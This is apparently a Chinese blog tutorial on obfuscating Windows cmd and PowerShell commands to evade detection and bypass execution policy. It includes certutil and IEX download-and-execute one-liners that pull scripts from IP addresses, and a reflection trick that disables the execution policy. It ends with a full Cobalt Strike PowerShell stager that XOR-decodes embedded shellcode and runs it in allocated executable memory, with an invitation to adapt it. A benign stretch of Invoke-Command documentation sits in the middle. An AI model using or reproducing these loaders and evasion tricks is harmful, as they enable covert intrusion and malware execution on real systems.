windows命令混淆和绕过

windows

使用符号/大小写

wh"o"aM^i

在这里插入图片描述

cmd /c ",;((w^h^o^a^M^i))"

在这里插入图片描述
使用特殊字符

certutil /⸿split -ur₏lcache -f http://192.168.125.130/payload.txt payload.txt

在这里插入图片描述
空格绕过

type.\flag.txt
type,flag.txt
echo,123456

环境变量

先用set命令查看环境变量有什么
在这里插入图片描述
比如使用环境变量ComSpec

ComSpec=C:\Windows\system32\cmd.exe

%comspec:~4,1%表示变量comspec从第5个符号开始,长度为1的字符串
在这里插入图片描述

Wh%comspec:~7,1%am%comspec:~4,1%

在这里插入图片描述
多重符号

cmd /c “ set a1=ser&& set a2=ne&& set a3=t u&&call echo %a2%%a3%%a1%”
^c^M^D, , , , /^c", ,(, , , , , (s^et ^ w^3=i^pco) , )&& (S^Et ^ eH^P=n^fig)& , , C^aLl, sE^t GyHE=%w^3%%eH^P%& , , %LoCaLAPpdata:~ -3,+1%%pRoGramw6432:~9,1%d, ,/^R, , %Gy^HE%"

函数

for /f "tokens=4 delims=\" %f in ("c:\windows\system32\whoami\") do %f

delims是以\分割,tokens是第几次分割,我们的第四次分割就是whoami
在这里插入图片描述

powershell

powershell有6种执行策略

  • Unrestricted 权限最高,可以不受限制执行任意脚本
  • Restricted 默认策略,不允许任意脚本的执行
  • AllSigned 所有脚本必须经过签名运行
  • RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名
  • Bypass 没有任何限制和提示
  • Undefined 没有设置脚本的策略

windows默认使用Restricted,通过如下命令查询或修改

# 查询
Get-ExecutionPolicy
# 修改
Set-ExecutionPolicy Unrestricted

在这里插入图片描述
该策略不允许任意脚本的执行
在这里插入图片描述

绕过

通过管道符运行
Type .\test.ps1 | powershell.exe -noprofile -
powershell Get-Content test.ps1 | powershell -NoProfile -

在这里插入图片描述

Bypass执行策略
powershell -ExecutionPolicy bypass -File ./test.ps1
远程加载

使用远程加载执行payload,其中downloadstring为下载函数,IEX(Invoke-expression) 将字符串当作powershell代码执行

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://7.249.34.197:51212/test.ps1'))"

在这里插入图片描述

别名

通过设置别名进行绕过,这里需要在cmd中运行

powershell set-alias -name 5wimming -value Invoke-Expression;5wimming(New-Object Net.WebClient).DownloadString('http://192.168.31.222:51212/test.ps1')

在这里插入图片描述

-command命令参数

适用于简单命令,复杂命令可能会解析错误

powershell -command "Write-Host 'hello 5wimming'"

在这里插入图片描述

-encodedCommand命令参数

先将需要执行的命令进行Unicode/base64 编码,编码不仅有一定的绕过效果,还可以避免一些解析问题

$command = "echo 'hello 5wimming'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

在这里插入图片描述

Invoke-Command 命令

Invoke-Command cmdlet 可以在本地或远程计算机上运行命令,并从命令返回所有输出,包括错误,它还可以在多台计算机上运行命令。

例子1

invoke-command -filepath c:/scripts/test.ps1 -computerName Server01

Disks: C:, D:, E:
Status: Warning, Normal, Normal

说明
-----------
此命令在 Server01 计算机上运行 Test.ps1 脚本。

该命令使用 FilePath 参数指定位于本地计算机的脚本。该脚本在远程计算机上运行,而结果将返回到本地计算机。

例子2

invoke-command -computername server01 -credential domain01/user01 -scriptblock {get-culture}

说明
-----------
此命令在 Server01 远程计算机上运行 Get-Culture 命令。

它使用 ComputerName 参数指定计算机名,使用 Credential 参数在“Domain01/User01”(有权运行命令的用户)的安全上下文中运行命令。它使用 ScriptBlock 参数来指定要在远程计算机上运行的命令。

作为响应,Windows PowerShell 显示一个对话框,请求提供 User01 帐户的密码和身份验证方法。然后,在 Server01 计算机上运行该命令并返回结果。

例子3

$s = new-pssession -computername server02 -credential domain01/user01

invoke-command -session $s -scriptblock {get-culture}

说明
-----------
此示例在 Server02 远程计算机上的一个会话(持续性连接)中运行相同的“Get-Culture”命令。通常,仅当要在远程计算机上运行一系列命令时,才创建会话。

第一个命令使用 New-PSSession cmdlet 在 Server02 远程计算机上创建一个会话,然后,将该会话保存在 $s 变量中。

第二个命令使用 Invoke-Command cmdlet 在 Server02 上运行 Get-Culture 命令。它使用 Session 参数指定保存在 $s 变量中的会话。

作为响应,Windows PowerShell 在 Server02 计算机上的会话中运行此命令。

例子4

invoke-command -computername Server02 -scriptblock {$p = get-process powershell}
invoke-command -computername Server02 -scriptblock {$p.virtualmemorysize}


$s = new-pssession -computername Server02
invoke-command -session $s -scriptblock {$p = get-process powershell}
invoke-command -session $s -scriptblock {$p.virtualmemorysize}

说明
-----------
此示例比较使用 Invoke-Command 的 ComputerName 和 Session 参数的效果。它说明如何使用一个会话来运行一系列共享相同数据的命令。

前两个命令使用 Invoke-Command 的 ComputerName 参数在 Server02 远程计算机上运行命令。第一个命令使用 Get-Process 命令获取远程计算机上的 PowerShell 进程,并将它保存在 $p 变量中。第二个命令获取 PowerShell 进程的 VirtualMemorySize 属性的值。

第一条命令执行成功。但第二条命令失败,因为当您使用 ComputerName 参数时,Windows PowerShell 创建一个用于运行该命令的连接。然后,当该命令完成后,Windows PowerShell 会关闭该连接。$p 变量是在一个连接中创建的,但在为第二个命令创建的连接中不存在。

解决此问题的方法是:在远程计算机上创建一个会话(持续性连接),然后在同一会话中运行这两个相关的命令。

第三个命令使用 New-PSSession cmdlet 在 Server02 计算机上创建一个会话,然后,将该会话保存在 $s 变量中。第四个和第五个命令重复在第一个集合中使用的一系列命令,但在本例中,Invoke-Command 命令使用 Session 参数在同一会话中运行这两个命令。

在本例中,由于两个命令在同一会话中运行,因此命令会成功,且 $p 值在 $s 会话中保持活动状态以供将来使用。

例子5

$command = { get-eventlog -log "windows powershell" | where {$_.message -like "*certificate*"} }

invoke-command -computername S1, S2 -scriptblock $command

说明
-----------
此示例说明如何输入保存在局部变量中的命令。

整个命令保存在局部变量中时,可以将变量指定为 ScriptBlock 参数的值。您不必使用“param”关键字或 ArgumentList 变量来提交局部变量的值。

第一个命令将 Get-Eventlog 命令保存在 $command 变量中。此命令设置为脚本块格式。

第二个命令使用 Invoke-Command cmdlet 在 S1 和 S2 远程计算机上运行 $command 中的命令。

例子6

invoke-command -computername server01, server02, TST-0143, localhost -configurationname MySession.PowerShell -scriptblock {get-eventlog "windows powershell"}

说明
-----------
此示例演示如何使用 Invoke-Command cmdlet 在多台计算机上运行一个命令。

此命令使用 ComputerName 参数来指定计算机。计算机名在以逗号分隔的列表中提供。计算机列表包括表示本地计算机的“localhost”值。

该命令使用 ConfigurationName 参数来指定 Windows PowerShell 的替代会话配置,并使用 ScriptBlock 参数来指定命令。

在本例中,脚本块中的命令获取每台远程计算机上的 Windows PowerShell 事件日志中的事件。

例子7

version = invoke-command -computername (get-content machines.txt) -scriptblock {(get-host).version}

说明
-----------
此命令获取在 200 台远程计算机上运行的 Windows PowerShell 主机的版本。

由于只运行一个命令,因此不必创建与每台计算机的持续性连接(会话),而是由此命令使用 ComputerName 参数来指定计算机。

此命令使用 Invoke-Command cmdlet 来运行 Get-Host 命令。它使用点表示法来获取 Windows PowerShell 主机的 Version 属性。

为了指定计算机,它使用 Get-Content cmdlet 来获取 Machine.txt 文件(计算机名称文件)的内容。

这些命令同步运行(一次一个)。这些命令完成时,来自所有计算机的命令输出保存在 $version 变量中。输出包括数据来源计算机的名称。

例子8

invoke-command -comp (get-content servers.txt) -filepath c:/scripts/sample.ps1 -argumentlist Process, Service

说明
-----------
此示例使用 Invoke-Command cmdlet 在 Servers.txt 文件中列出的所有计算机上运行 Sample.ps1 脚本。该命令使用 FilePath 参数来指定脚本文件。使用该命令可以在远程计算机上运行脚本,即使远程计算机无法访问脚本文件也是如此。

提交该命令时,Sample.ps1 文件的内容复制到脚本块中,且脚本块在每台远程计算机上运行。此过程等效于使用 ScriptBlock 参数来提交脚本的内容。

例子9

$LiveCred = Get-Credential

Invoke-Command -ConfigurationName Microsoft.Exchange `
         -ConnectionUri https://ps.exchangelabs.com/powershell `
         -Credential $LiveCred  -Authentication Basic `
         -scriptblock {Invoke-Command {Set-Mailbox dan -DisplayName "Dan Park"}

说明
-----------
此示例说明如何在由 URI(Internet 地址)标识的远程计算机上运行命令。此特定示例在远程 Exchange 服务器上运行一个 Set-Mailbox 命令。命令中的倒引号 (`) 是 Windows PowerShell 继续符。

第一条命令使用 Get-Credential cmdlet 将 Windows Live ID 凭据存储在 $LiveCred 变量中。在出现凭据对话框时,输入 Windows Live ID 凭据。

第二条命令使用 Invoke-Command cmdlet 运行 Set-Mailbox 命令。该命令使用 ConfigurationName 参数来指定该命令应在使用 Microsoft.Exchange 会话配置的会话中运行。ConnectionURI 参数指定 Exchange 服务器终结点的 URL。

credential 参数指定 $LiveCred 变量中存储的 Windows Live 凭据。AuthenticationMechanism 参数指定基本身份验证的使用。ScriptBlock 参数指定包含命令的脚本块。
短命令格式

下面两条命令等同

Get-Content .\test.ps1 | Invoke-Expression
gc .\test.ps1 | iex

在这里插入图片描述

Unrestricted执行策略标志
powershell -ExecutionPolicy unrestricted -File ./test.ps1

在这里插入图片描述

通过换出认证管理器,禁用执行策略

下面函数可以在交互式窗口中使用,也可以在Command参数中指定。一旦该函数被执行,则会换出认证管理器,同时默认策略改为unrestricted,但是该方法只在一个会话范围内有效。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy ./test.ps1

在这里插入图片描述

CobaltStrike

参考CobaltStrike 安装和使用

在这里插入图片描述
生成powershell脚本
在这里插入图片描述
生成的payload如下

Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
	Param ($var_module, $var_procedure)		
	$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
	)

	$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
	$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

	return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktzIyMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMYGhFSyMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxQNExgDdEpNR0xUUANtdwMWDRIKLikjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGY2JzeBd/c3l7FhcLc30KFGBgChReB2ZqYGJxDnB3Ym1nYnFnDmJtd2p1anF2cA53ZnB3DmVqb2YCB2sIawkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcCNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhMNERISDRYWDRYjIyMjIw==')

for ($x = 0; $x -lt $var_code.Count; $x++) {
	$var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
	start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
	IEX $DoIt
}

可以基于上面的模板自行修改修改

https://xz.aliyun.com/t/10699
https://www.freebuf.com/articles/web/280410.html
https://blog.csdn.net/mutougede/article/details/5807947

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值